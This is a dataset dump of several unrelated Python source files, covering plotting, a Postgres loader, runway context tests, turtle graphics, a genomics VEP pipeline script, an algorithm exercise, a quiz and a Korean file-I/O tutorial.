__init__(self,inputDataFrame):\n\n\t\tself.inputDataFrame = inputDataFrame\n\n\t\treturn None\n\n\tdef plotReturns(self,StockNum,RetNum):\n\n\t\t'''\n\t\tInput: StockNum - which stock to plot\n\t\t\t RetNum - how many returns to plot\n\t\tOutput: Figure with desired returns\n\n\t\t'''\n\n\t\t# plot the current day D returns\n\n\t\timport matplotlib.pyplot as plt\n\n\t\tdataField = self.inputDataFrame[self.inputDataFrame['Id']==StockNum]\n\n\t\t# select the returns to plot\n\n\t\tplotRet = []\n\n\t\tfor j in xrange(2,RetNum):\n\n\t\t\tRetString = 'Ret_' + str(j)\n\n\t\t\tplotRet.append(dataField[RetString])\n\n\t\tplt.figure()\n\t\tplt.title('%s Returns of %s Stock'%(RetNum,StockNum))\n\t\tplt.plot(plotRet,'r')\n\t\tplt.show()\n\n\t\treturn 'The figure was plotted!'","sub_path":"DataAnalysis.py","file_name":"DataAnalysis.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"413526819","text":"import json \nimport os \nimport psycopg2\nimport psycopg2.extras\n\n\nimport json\nimport psycopg2\n\nconn = psycopg2.connect(\n host = os.getenv(\"FRINX_HOST\", \"localhost\"),\n database = os.getenv(\"FRINX_DATABASE\", \"postgres\"),\n user= os.getenv(\"FRINX_USER\", \"postgres\"),\n password=os.getenv(\"FRINX_PASSWORD\", \"tutorial\")\n )\ncursor=conn.cursor\ndata = []\nwith open('data.json') as f:\n for line in f:\n data.append(json.loads(line))\n\nfields = [\n \"id\" #SERIAL PRIMARY KEY,\n \"connection\" #INTEGER,\n \"name\" #VARCHAR(255) NOT NULL,\n \"description\" #VARCHAR(255),\n \"config\" #json,\n \"type\" #VARCHAR(50),\n \"infra_type\" #VARCHAR(50),\n \"port_channel_id\" #INTEGER,\n \"max_frame_size\" #INTEGER\n\n]\nfor item in data:\n my_data = [item[field] for field in fields]\n for i, v in enumerate(my_data):\n if isinstance(v, dict):\n my_data[i] = json.dumps(v)\n insert_query = \"INSERT INTO crm VALUES (%s, %s, %s, %s)\"\n cursor.execute(insert_query, tuple(my_data))\nconn.close\ncursor.close","sub_path":"frinx.py","file_name":"frinx.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"203669498","text":"\"\"\"Tests for context module.\"\"\"\n# pylint: disable=protected-access,no-self-use\nimport logging\n\nfrom mock import patch\n\nfrom runway.context import Context\n\nLOGGER = logging.getLogger('runway')\n\nTEST_CREDENTIALS = {\n 'AWS_ACCESS_KEY_ID': 'foo',\n 'AWS_SECRET_ACCESS_KEY': 'bar',\n 'AWS_SESSION_TOKEN': 'foobar'\n}\n\n\nclass TestContext(object):\n \"\"\"Test Context class.\"\"\"\n\n def test_boto3_credentials(self):\n \"\"\"Test boto3_credentials.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars=TEST_CREDENTIALS.copy())\n\n assert context.boto3_credentials == {key.lower(): value\n for key, value in\n TEST_CREDENTIALS.items()}\n\n def test_current_aws_creds(self):\n \"\"\"Test current_aws_creds.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars=TEST_CREDENTIALS.copy())\n\n assert context.current_aws_creds == TEST_CREDENTIALS\n\n def test_is_interactive(self):\n \"\"\"Test is_interactive.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'NON_EMPTY': '1'})\n assert context.is_interactive\n\n context.env_vars['CI'] = '1'\n assert not context.is_interactive\n\n def test_is_noninteractive(self):\n \"\"\"Test is_noninteractive.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'NON_EMPTY': '1'})\n assert not context.is_noninteractive\n\n context.env_vars['CI'] = '1'\n assert context.is_noninteractive\n\n def test_is_python3(self):\n \"\"\"Test is_python3.\"\"\"\n from runway.context import sys\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./')\n\n with patch.object(sys, 'version_info') as version_info:\n version_info.major = 2\n assert not context.is_python3\n\n with patch.object(sys, 'version_info') as version_info:\n version_info.major = 3\n assert context.is_python3\n\n def test_max_concurrent_cfngin_stacks(self):\n \"\"\"Test max_concurrent_cfngin_stacks.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./')\n assert context.max_concurrent_cfngin_stacks == 0\n\n context.env_vars['RUNWAY_MAX_CONCURRENT_CFNGIN_STACKS'] = '1'\n assert context.max_concurrent_cfngin_stacks == 1\n\n def test_max_concurrent_modules(self):\n \"\"\"Test max_concurrent_modules.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'RUNWAY_MAX_CONCURRENT_MODULES': '1'})\n assert context.max_concurrent_modules == 1\n\n del context.env_vars['RUNWAY_MAX_CONCURRENT_MODULES']\n\n with patch('runway.context.multiprocessing.cpu_count') as cpu_count:\n cpu_count.return_value = 8\n assert context.max_concurrent_modules == 8\n\n def test_max_concurrent_regions(self):\n \"\"\"Test max_concurrent_regions.\"\"\"\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'RUNWAY_MAX_CONCURRENT_REGIONS': '1'})\n assert context.max_concurrent_regions == 1\n\n del context.env_vars['RUNWAY_MAX_CONCURRENT_REGIONS']\n\n with patch('runway.context.multiprocessing.cpu_count') as cpu_count:\n cpu_count.return_value = 8\n assert context.max_concurrent_regions == 8\n\n def test_use_concurrent(self):\n \"\"\"Test use_concurrent.\"\"\"\n from runway.context import sys\n context = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'NON_EMPTY': '1'})\n context_ci = Context(env_name='test',\n env_region='us-east-1',\n env_root='./',\n env_vars={'CI': '1'})\n\n with patch.object(sys, 'version_info') as version_info:\n version_info.major = 2\n assert not context.use_concurrent\n assert not context_ci.use_concurrent\n\n with patch.object(sys, 'version_info') as version_info:\n version_info.major = 3\n assert not context.use_concurrent\n assert context_ci.use_concurrent\n\n def test_init_name_from_arg(self):\n \"\"\"_env_name_from_env should be false when DEPLOY_ENVIRONMENT not set.\"\"\"\n context = Context(env_name='test', env_region='us-east-1',\n env_root='./')\n assert context.env_name == 'test'\n assert context.env_vars['DEPLOY_ENVIRONMENT'] == context.env_name, \\\n 'env_vars.DEPLOY_ENVIRONMENT should be set from env_name'\n assert not context._env_name_from_env, \\\n 'should be false when env_name was not derived from env_var'\n\n def test_init_from_envvar(self):\n \"\"\"_env_name_from_env should be true when DEPLOY_ENVIRONMENT is set.\"\"\"\n context = Context(env_name='test', env_region='us-east-1',\n env_root='./', env_vars={'DEPLOY_ENVIRONMENT': 'test'})\n assert context.env_name == 'test'\n assert context.env_vars['DEPLOY_ENVIRONMENT'] == context.env_name, \\\n 'env_vars.DEPLOY_ENVIRONMENT should be set from env_name'\n assert context._env_name_from_env, \\\n 'should be true when env_name was not derived from env_var'\n\n def test_echo_detected_environment_not_env(self, caplog):\n \"\"\"Environment helper note when DEPLOY_ENVIRONMENT is not set.\"\"\"\n context = Context(env_name='test', env_region='us-east-1',\n env_root='./')\n expected = ['',\n 'Environment \"test\" was determined from the '\n 'current git branch or parent directory.',\n 'If this is not the environment name, update '\n 'the branch/folder name or set an override value via the '\n 'DEPLOY_ENVIRONMENT environment variable',\n '']\n\n with caplog.at_level(logging.INFO):\n context.echo_detected_environment()\n\n assert [rec.message for rec in caplog.records] == expected\n\n def test_echo_detected_environment_from_env(self, caplog):\n \"\"\"Environment helper note when DEPLOY_ENVIRONMENT is set.\"\"\"\n context = Context(env_name='test', env_region='us-east-1',\n env_root='./', env_vars={'DEPLOY_ENVIRONMENT': 'test'})\n expected = ['',\n 'Environment \"test\" was determined from the '\n 'DEPLOY_ENVIRONMENT environment variable.',\n 'If this is not correct, update the value (or '\n 'unset it to fall back to the name of the current git '\n 'branch or parent directory).',\n '']\n\n with caplog.at_level(logging.INFO):\n context.echo_detected_environment()\n\n assert [rec.message for rec in caplog.records] == expected\n\n def test_save_existing_iam_env_vars(self):\n \"\"\"Test save_existing_iam_env_vars.\"\"\"\n context = Context(env_name='dev', env_region='us-east-1',\n env_root='./', env_vars=TEST_CREDENTIALS.copy())\n context.save_existing_iam_env_vars()\n assert context.env_vars['OLD_AWS_ACCESS_KEY_ID'] == 'foo'\n assert context.env_vars['OLD_AWS_SECRET_ACCESS_KEY'] == 'bar'\n assert context.env_vars['OLD_AWS_SESSION_TOKEN'] == 'foobar'\n","sub_path":"tests/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"118831717","text":"import turtle\n\nwn = turtle.Screen() # create a screen\nwn.bgcolor(\"yellow\") # set the screen background color\ny = turtle.Turtle() # create a turtle object\ny.shape(\"turtle\") # define the shape of the obj\ny.speed(3) # speed of animation (if 0 then maximum speed)\ndist = 10\ny.up() # penup, this will avoid the trace formation\nfor x in range(200): # for loop for helix\n y.forward(dist)\n y.left(90)\n y.stamp() # a stamp of the selected shape will be made at this point\n dist += 10\n\nturtle.done() # required in pycharm for turtle screen formation\n","sub_path":"src/myfirstprogram.py","file_name":"myfirstprogram.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"70274490","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# mv.py\n# made by Min-Seok Kwon\n# 2019-12-29 17:37:50\n#########################\nimport time\nimport sys\nimport os\nSVRNAME = os.uname()[1]\nif \"MBI\" in SVRNAME.upper():\n sys_path = \"/Users/pcaso/bin/python_lib\"\nelif SVRNAME == \"T7\":\n sys_path = \"/ms1/bin/python_lib\"\nelse:\n sys_path = \"/home/mk446/bin/python_lib\"\nsys.path.append(sys_path)\n\n\ndef run():\n for d1 in file_util.listdir('./'):\n if 'chr' in d1:\n for d2 in file_util.listdir('./' + d1):\n # print(d1 + '/' + d2)\n cmd = \"python \" + path + \"mv.py \" + d1 + '/' + d2\n print(cmd)\n # for fname in file_util.listdir('./' + d1 + '/' + d2, '.vep.sh'):\n # f1 = path + d1 + '/' + d2 + '/' + fname\n # # print(f1)\n # cmd = \"mv \" + f1 + ' ' + f1.replace('.vep.sh', '.vep.txt')\n # # print(cmd)\n # proc_util.run_cmd(cmd)\n # break\n # break\n\n\ndef mv(d1):\n for fname in file_util.listdir(path + d1, '.vcf'):\n f1 = path + d1 + '/' + fname\n # print(f1)\n vcf = path + d1 + '/' + fname\n vep = path + d1 + '/' + fname + '.vep.txt'\n cmd = \"mv \" + f1 + ' ' + f1.replace('.vep.sh', '.vep.txt')\n cmd = \"python /home/mk446/mutanno/SRC/mutanno.py precal -check_vep_result -vcf \" + vcf + \" -vep_result \" + vep\n # print(cmd)\n print(proc_util.run_cmd(cmd, True))\n\n\ndef s11_check_undone(d1):\n vcflist = []\n for fname in file_util.listdir(path + d1, '.vcf'):\n vcf = path + d1 + '/' + fname\n if not file_util.is_exist(vcf + '.vep.txt.checked'):\n cnt = 0\n for line in open(vcf):\n if line[0] != '#':\n cnt += 1\n if cnt > 0:\n vcflist.append(vcf)\n out = path + 'checked_' + d1.replace('/', '_')\n file_util.fileSave(out, '\\n'.join(vcflist), 'w')\n\n\ndef s12_merge_checked():\n for fname in file_util.listdir('./'):\n if 'checked_chr' in fname:\n # print(fname)\n if file_util.getFileSize(fname) > 0:\n flist = file_util.fileOpen(fname).split('\\n')\n cmd = \"\"\n for inputvcf in flist:\n out = inputvcf + '.vep.txt'\n cmd += \"/home/mk446/bin/vep -i \" + inputvcf + \" -o \" + out + \" --hgvs \"\n cmd += \"--fasta \" + fasta + \" --assembly GRCh38 --use_given_ref \"\n cmd += \"--offline --cache_version 98 --dir_cache \" + vepcache + \" \"\n cmd += \"--plugin MaxEntScan,/home/mk446/bio/mutanno/ANNOT3TOOLS/BIN/VEP_plugins-release-98/MaxEntScan/fordownload \"\n cmd += \"--plugin TSSDistance \"\n cmd += \"--everything --force_overwrite --tab;\\n\"\n print(cmd.strip())\n\n\ndef s13_getvcflist(d1):\n vcflist = []\n for fname in file_util.listdir(path + d1, '.vcf'):\n vcf = d1 + '/' + fname\n vcflist.append(vcf)\n out = path + 'vcf_' + d1.replace('/', '_')\n file_util.fileSave(out, '\\n'.join(vcflist) + '\\n', 'w')\n\n\ndef s14_merge_vcflist():\n for chrom in seq_util.MAIN_CHROM_LIST:\n # print(chrom)\n if chrom == \"MT\":\n chrom = \"M\"\n for k in range(1000):\n listfile = \"./vcflist/vcf_chr\" + chrom + \"_\" + str(k)\n if file_util.is_exist(listfile):\n if k == 0:\n cmd = \"cat \" + listfile + \" > vcflist_chr\" + chrom\n else:\n cmd = \"cat \" + listfile + \" >> vcflist_chr\" + chrom\n print(cmd)\n\n proc_util.run_cmd(cmd)\n\n\ndef s15_check_rerun():\n for line in open('r.sh'):\n arr = line.split(' ')\n vcf = arr[2]\n vep = arr[4]\n if not file_util.is_exist(vep):\n # print(vcf)\n cntvar = 0\n header = ''\n for line in open(vcf):\n if line[0] != '#':\n arr = line.split('\\t')\n if arr[3].strip() != '':\n cntvar += 1\n else:\n header = line\n # print(header)\n if cntvar == 0:\n # print(vcf)\n # file_util.fileSave(vep + '.checked', '', 'w')\n # file_util.fileSave(vcf, header, 'w')\n pass\n else:\n if file_util.is_exist(vep + '.error'):\n # print(vcf)\n cmd = \"rm \" + vep + '.error'\n # print(proc_util.run_cmd(cmd))\n\n cmd = \"python /home/mk446/mutanno/SRC/mutanno.py precal -check_vep_result -vcf \" + vcf + \" -vep_result \" + vep\n # print(cmd)\n # print(proc_util.run_cmd(cmd))\n\n cmd = \"/home/mk446/bin/vep -i \" + vcf + \" -o \" + vep + \" --hgvs \"\n cmd += \"--fasta \" + fasta + \" --assembly GRCh38 --use_given_ref \"\n cmd += \"--offline --cache_version 98 --dir_cache \" + vepcache + \" \"\n cmd += \"--plugin MaxEntScan,/home/mk446/bio/mutanno/ANNOT3TOOLS/BIN/VEP_plugins-release-98/MaxEntScan/fordownload \"\n cmd += \"--plugin TSSDistance \"\n cmd += \"--everything --force_overwrite --tab;\"\n print(cmd)\n pass\n else:\n # print(vcf)\n pass\n\n\ndef s16_vcfgz():\n for line in file_util.gzopen(\"vcflist.gz\"):\n line = line.decode('UTF-8')\n # cmd = \"tabixgz \" + path + line.strip()\n vcf = path + line.strip()\n vep = vcf + '.vep.txt'\n # if file_util.is_exist(vcf) and file_util.is_exist(vcf+'.gz') and file_util.is_exist(vcf+'.gz.tbi'):\n # cmd = \"rm \" + vcf\n # # cmd = \"rm \" + path + line.strip() + \".vep.sh_summary.html\"\n # print(cmd)\n # proc_util.run_cmd(cmd)\n\n if file_util.is_exist(vep) and file_util.is_exist(vep + '.checked') and file_util.is_exist(vep + '.done'):\n cmd = \"gz \" + vep\n print(cmd)\n\n\ndef s17_vep2tab():\n for line in file_util.gzopen(\"vcflist.gz\"):\n line = line.decode('UTF-8')\n vcf = path + line.strip()\n vep = vcf + '.vep.txt'\n tab = vcf + '.vep.tab'\n # if file_util.is_exist(vep):\n if True:\n cmd = \"python /home/mk446/mutanno/SRC/mutanno.py convert -vep2tab\"\n cmd += \" -in \" + vep + '.gz'\n cmd += \" -out \" + tab\n cmd += \";\\n\"\n # cmd += \"tabixgz \" + tab + \";\"\n print(cmd)\n # break\n\n\ndef s18_gz(d1):\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + '/' + fname\n vep = vcf + '.vep.txt'\n # if file_util.is_exist(vcf):\n # cmd = \"tabixgz \" + vcf\n # proc_util.run_cmd(cmd)\n # print(cmd)\n\n # vep = path + d1 + '/' + fname\n # if file_util.is_exist(vep) and file_util.is_exist(vep + '.checked') and file_util.is_exist(vep + '.done'):\n # cmd = \"gz \" + vep\n # proc_util.run_cmd(cmd)\n # print(cmd)\n # tab = vep.replace('.vep.txt', '.vep.tab')\n tab = vcf + '.vep.tab'\n if file_util.is_exist(tab):\n cmd = \"tabixgz \" + tab\n proc_util.run_cmd(cmd)\n print(cmd)\n print('sleep 60')\n time.sleep(60)\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + '/' + fname\n # vep = path + d1 + '/' + fname\n vep = vcf + '.vep.txt'\n tab = vcf + '.vep.tab'\n if file_util.is_exist(vcf) and file_util.is_exist(vcf + '.gz') and file_util.is_exist(vcf + '.gz.tbi'):\n cmd = \"rm \" + vcf\n proc_util.run_cmd(cmd)\n print(cmd)\n # tab = vep.replace('.vep.txt', '.vep.tab')\n # if file_util.is_exist(vep) and file_util.is_exist(vep+'.gz') and file_util.is_exist(vep + '.checked') and file_util.is_exist(vep + '.done'):\n # cmd = \"rm \" + vep\n # proc_util.run_cmd(cmd)\n # print(cmd)\n if file_util.is_exist(tab) and file_util.is_exist(tab + '.gz') and file_util.is_exist(tab + '.gz.tbi'):\n cmd = \"rm \" + tab\n proc_util.run_cmd(cmd)\n print(cmd)\n\n\ndef s19_vep2tab(d1):\n flag_sleep = False\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + \"/\" + fname.replace('.vcf.gz', '.vcf')\n vep = vcf + '.vep.txt'\n tab = vcf + '.vep.tab'\n # print(vep + \".gz\")\n if file_util.is_exist(vep + \".gz\") and not (file_util.is_exist(tab + \".gz\") and file_util.is_exist(tab + \".gz.tbi\")):\n cmd = \"python /home/mk446/mutanno/SRC/mutanno.py convert -vep2tab\"\n cmd += \" -in \" + vep + '.gz'\n cmd += \" -out \" + tab\n cmd += \";\\n\"\n # cmd += \"tabixgz \" + tab + \";\"\n print(cmd)\n proc_util.run_cmd(cmd)\n flag_sleep = True\n if flag_sleep:\n print('sleep 60')\n time.sleep(60)\n flag_sleep = False\n\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + \"/\" + fname.replace('.vcf.gz', '.vcf')\n vep = vcf + '.vep.txt'\n tab = vcf + '.vep.tab'\n if file_util.is_exist(tab) and not (file_util.is_exist(tab + \".gz\") and file_util.is_exist(tab + \".gz.tbi\")):\n cmd = \"tabixgz \" + tab + \";\"\n print(cmd)\n proc_util.run_cmd(cmd)\n flag_sleep = True\n if flag_sleep:\n print('sleep 60')\n time.sleep(60)\n\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + \"/\" + fname.replace('.vcf.gz', '.vcf')\n vep = vcf + '.vep.txt'\n tab = vcf + '.vep.tab'\n if file_util.is_exist(tab) and file_util.is_exist(tab + \".gz\") and file_util.is_exist(tab + \".gz.tbi\"):\n cmd = \"rm \" + tab + ''\n print(cmd)\n proc_util.run_cmd(cmd)\n\n\ndef s20_check_veptabgz(d1):\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + \"/\" + fname.replace('.vcf.gz', '.vcf')\n tab = vcf + '.vep.tab'\n if file_util.is_exist(tab + \".gz\") and file_util.is_exist(tab + \".gz.tbi\"):\n cmd = \"python /home/mk446/mutanno/SRC/mutanno.py precal -check_vep_result \"\n cmd += \"-vcf \" + vcf + \".gz \"\n cmd += \"-vep_result \" + tab + \".gz \"\n print(cmd)\n print(proc_util.run_cmd(cmd))\n # break\n else:\n cntvar = 0\n for line in file_util.gzopen(vcf + '.gz'):\n line = line.decode('UTF-8')\n if line[0] != '#':\n cntvar += 1\n if cntvar == 0:\n cmd = \"rm \" + vcf + \"*\"\n print(cmd)\n proc_util.run_cmd(cmd)\n else:\n pass\n # print(cmd)\n # print(tab)\n\n\ndef s21_check_veptabgz2(d1):\n out = path + d1.replace('/', '_') + \".log.sh\"\n # file_util.fileSave(out, '', 'w')\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + \"/\" + fname.replace('.vcf.gz', '.vcf')\n tab = vcf + '.vep.tab'\n vep = vcf + '.vep.txt'\n if file_util.is_exist(tab + \".gz\") and file_util.is_exist(tab + \".gz.tbi\") and file_util.is_exist(tab + \".gz.checked\"):\n pass\n else:\n cmd = \"rm \" + vcf + \".vep*;\"\n\n cmd += \"/home/mk446/bin/vep -i \" + vcf + \".gz -o \" + vep + \" --hgvs \"\n cmd += \"--fasta \" + fasta + \" --assembly GRCh38 --use_given_ref \"\n cmd += \"--offline --cache_version 98 --dir_cache \" + vepcache + \" \"\n cmd += \"--plugin MaxEntScan,/home/mk446/bio/mutanno/ANNOT3TOOLS/BIN/VEP_plugins-release-98/MaxEntScan/fordownload \"\n cmd += \"--plugin TSSDistance \"\n cmd += \"--everything --force_overwrite --tab;\"\n cmd += \"sleep 5;\"\n\n cmd += mutanno + \"convert -vep2tab -in \" + vep + \" -out \" + tab + \";\"\n # proc_util.run_cmd(cmd, True)\n # file_util.fileSave(out, vcf + '\\n', 'a')\n cmd += \"sleep 5;\"\n cmd += \"tabixgz \" + tab + \";\"\n cmd += \"sleep 5;\"\n cmd += mutanno + \"precal -check_vep_result -vep_result \" + tab + \".gz -vcf \" + vcf + \".gz;\"\n cmd += \"sleep 5;\"\n file_util.fileSave(out, cmd + '\\n', 'a')\n\n\ndef s22_rm_emptyvcf(d1):\n out = path + d1.replace('/', '_') + '.log.sh'\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n cnt = 0\n for line in file_util.gzopen(path + d1 + '/' + fname):\n line = line.decode('UTF-8')\n if line[0] != \"#\":\n cnt += 1\n if cnt > 2:\n break\n if cnt == 0:\n cmd = \"rm \" + path + d1 + '/' + fname[:-3] + '*;\\n'\n # print(cmd)\n file_util.fileSave(out, cmd, 'a')\n\n\ndef s23_merge_chrom(chrom):\n out = path + \"vep.hg38.\" + chrom + \".tsv\"\n # f = open(out, 'w')\n i = 0\n for k in range(300):\n vcfmap = {}\n for vcf in file_util.walk(path + \"chr\" + chrom + \"/\" + str(k) + \"/\", '.vcf.gz'):\n # print(vcf)\n k1 = int(vcf.split('/')[-1].split('_')[1])\n vcfmap[vcf] = k1\n # print(vcfmap)\n (ks, vs) = struct_util.sortdict(vcfmap)\n # print(ks)\n # print(vs)\n for vcf in ks:\n vep = vcf[:-3] + \".vep.tab.gz\"\n if i == 0:\n cmd = \"zcat \" + vep + \" > \" + out\n else:\n cmd = \"zcat \" + vep + \" | grep -v '^#' >> \" + out\n print(cmd)\n i += 1\n # break\n # f.close()\n cmd = \"sleep 20;\"\n print(cmd)\n cmd = \"tabixgz \" + out\n print(cmd)\n\n\ndef run_chrom():\n for chrom in seq_util.MAIN_CHROM_LIST:\n if chrom == \"MT\":\n chrom = \"M\"\n out = path + \"merge_\" + chrom + \".sh\"\n cmd = \"python \" + path + \"mv.py \" + chrom + \" > \" + out + \";\"\n cmd += \"sleep 20;\"\n cmd += \"mv \"+out+\" /home/mk446/jobs/.;\"\n print(cmd)\n\n\ndef s24_rm_intermediate_files(d1):\n out = path + d1.replace('/', '_') + '.log.sh'\n for fname in file_util.listdir(path + d1, '.vcf.gz'):\n vcf = path + d1 + '/' + fname[:-3]\n cmd = \"rm \" + vcf + \".vep.sh_summary.html;\"\n cmd += \"rm \" + vcf + \".vep.tab.gz.checked;\"\n cmd += \"rm \" + vcf + \".vep.txt.checked;\"\n cmd += \"rm \" + vcf + \".vep.txt.done;\"\n cmd += \"rm \" + vcf + \".vep.txt.gz;\"\n proc_util.run_cmd(cmd, True)\n\n\nif __name__ == \"__main__\":\n import proc_util\n import file_util\n import seq_util\n import struct_util\n fasta = \"/n/data1/hms/dbmi/park/SOFTWARE/REFERENCE/GRCh38d1/GRCh38_full_analysis_set_plus_decoy_hla.fa\"\n vepcache = \"/home/mk446/bio/mutanno/ANNOT3TOOLS/BIN/nonindexed_vep_cache/homo_sapiens_merged\"\n path = \"/home/mk446/mutanno/PRECALVEP/\"\n mutanno = \"python /home/mk446/mutanno/SRC/mutanno.py \"\n # run()\n # mv(sys.argv[1])\n # s11_check_undone(sys.argv[1])\n # s12_merge_checked()\n # s13_getvcflist(sys.argv[1])\n # s14_merge_vcflist()\n # s15_check_rerun()\n # s16_vcfgz()\n # s17_vep2tab()\n # s18_gz(sys.argv[1])\n # s19_vep2tab(sys.argv[1])\n # s20_check_veptabgz(sys.argv[1])\n # s21_check_veptabgz2(sys.argv[1])\n # s22_rm_emptyvcf(sys.argv[1])\n s23_merge_chrom(sys.argv[1])\n # run_chrom()\n # s24_rm_intermediate_files(sys.argv[1])\n","sub_path":"scripts/vep/mv2.py","file_name":"mv2.py","file_ext":"py","file_size_in_byte":15484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"409204778","text":"'''\n=> Sliding Window\nTime:O(n + m)\nSpace: O(m)\n'''\nclass Solution:\n \"\"\"\n @param source : A string\n @param target: A string\n @return: A string denote the minimum window, return \"\" if there is no such a string\n \"\"\"\n def minWindow(self, source , target):\n # write your code here\n if not source or not target:\n return ''\n \n unique_chars = len(set(target))\n target_chars_map = self.get_chars_map(target)\n \n right = 0\n unique_count = 0\n chars_map = {}\n res = []\n for left in range(len(source)):\n while right < len(source) and unique_count < unique_chars:\n if source[right] in target_chars_map:\n chars_map[source[right]] = chars_map.get(source[right], 0) + 1\n if chars_map[source[right]] == target_chars_map[source[right]]:\n unique_count += 1\n right += 1\n if unique_count == unique_chars:\n if not res or res[1] - res[0] > right - left:\n res = [left, right]\n if source[left] in target_chars_map:\n chars_map[source[left]] -= 1\n if chars_map[source[left]] < target_chars_map[source[left]]:\n unique_count -= 1\n \n return '' if not res else source[res[0]: res[1]]\n \n def get_chars_map(self, target):\n chars_map = {}\n \n for char in target:\n chars_map[char] = chars_map.get(char, 0) + 1\n \n return chars_map","sub_path":"32_minimum-window-substring/minimum-window-substring.py","file_name":"minimum-window-substring.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"388480823","text":"# Chapter 03 Laboratory\n# Course: Program Arcade Games with Python\n# Author: Leo Dube\n# Date: April 09, 2016\n\n# Quiz parameters\nquestions_tot = 3 # Total number of questions\nquestions_cor = 0 # Tracks correct answers\n\n# Quiz\n\n# Question 1\nans_1 = int(input(\"What is 3 * 3? > \"))\nif ans_1 == 9:\n print(\"Correct!\")\n questions_cor += 1\nelse:\n print(\"Incorrect\")\n\n# Question 2\nans_2 = input(\"\\nWhat is the derivative of x^2? > \")\nif ans_2 == \"2x\" or ans_2 == \"2*x\" or ans_2 == \"2 * x\":\n print(\"Correct!\")\n questions_cor += 1\nelse:\n print(\"Incorrect\")\n\n# Question 3\nans_3 = input(\"\\nWhat is Canada's PM's last name? > \")\nif ans_3.lower() == \"trudeau\":\n print(\"Correct!\")\n questions_cor += 1\nelse:\n print(\"Incorrect\")\n\nprint()\n\n# Recap\npercent = (questions_cor / questions_tot) * 100\n\nif percent >= 60:\n print(\"Congrats, you got \", percent, \" percent!\")\nelse:\n print(\"Sorry, you only got \", percent, \" percent.\")\n","sub_path":"lab03.py","file_name":"lab03.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"416142453","text":"# 이제 다시 파이썬으로 돌아와서,\n# 배열과 집합, 파일 읽고 쓰기를 (다시) 공부해보도록 하겠습니다.\n\n\n\n# 1. 파이썬 리스트(배열), 셋(집합) 다루는 법\n\n# 중복요소를 제거\narr1 = ['LTE', 'LTE', '5G', '5G', 'WCDMA', '5G', 'WCDMA', 'LTE']\narr2 = [1, 1, 2, 2, 3, 2, 3, 3]\nset1 = set(arr1)\nset2 = set(arr2)\narr1 = list(set1)\narr2 = list(set2)\nprint(arr1)\nprint(arr2)\n\n# 요소의 추가 : arr는 arr.append(el), set은 set.add(el)로 추가\n\n# 요소의 삭제 : discard (el) 없는데 빼면 무시, remove (el) 없는데 빼면 에러, pop () : 마지막 요소를 리턴 후 뺌, clear () : 전부 뺌\n# pop()의 동작\nprint(arr2.pop()) # \"마지막 요소를 리턴\" 확인\nprint(arr2) # \"마지막 요소를 뺌\" 확인\n\n\n\n# 2. 파일 읽고 쓰는 법\n\n# 파일은 open() 함수를 사용하여,\n# \"파일객체 = open(파일이름, 파일열기모드)\" 와 같은 형식으로 접근합니다. *예시에서 파일객체 이름은 f로 하겠습니다.\n# 파일 열기모드는 읽기모드(r), 쓰기모드(w), 추가모드(a)가 있습니다.\n# 파일 쓰기는 f.write(문자열)로 이뤄지니다.\n# 마지막으로 f.close()를 통해서 닫아주면 됩니다.\n# 하나씩 예시를 보겠습니다. * 주석 하나씩 해제해가며 진행합니다.\n\n# 파일에 문자열 덮어씌우기 : f.write(\"string\") w\nf = open(\"newFile.txt\", \"w\")\na = \"Hello Again Python!\"\nf.write(a)\nf.close()\n\n# 파일에 문자열 추가 : f.write(\"string\") a\nf = open(\"newFile.txt\", \"a\")\na = \"Added Line!\"\nf.write(a)\nf.close()\n\n# 파일을 초기화 : f.write(\"\") w\nf = open(\"newFile.txt\", \"w\")\na = \"\"\nf.write(a)\nf.close()\n\n# 파일에 배열 추가 : 'delimiter'.join(arr) a\nf = open(\"newFile.txt\", \"a\")\nf.write('\\n'.join(arr1))\nf.close()\n\n# 파일에 구분자 없이 배열 한줄로 추가 : f.writelines(arr) a\nf = open(\"newFile.txt\", \"a\")\nf.write('\\n') # 위 데이터로부터 한 행 아래로 이동\nf.writelines(arr1) # WCDMA5GLTE 기록\nf.close\n\n# 파일 읽기1 (문자열 전체 반환) : f.read() r\nf = open(\"newFile.txt\", \"r\")\ntext = f.read()\nf.close\nprint(text)\n\n# 파일 읽기2 (한줄씩 반환) : f.readline() r\nf 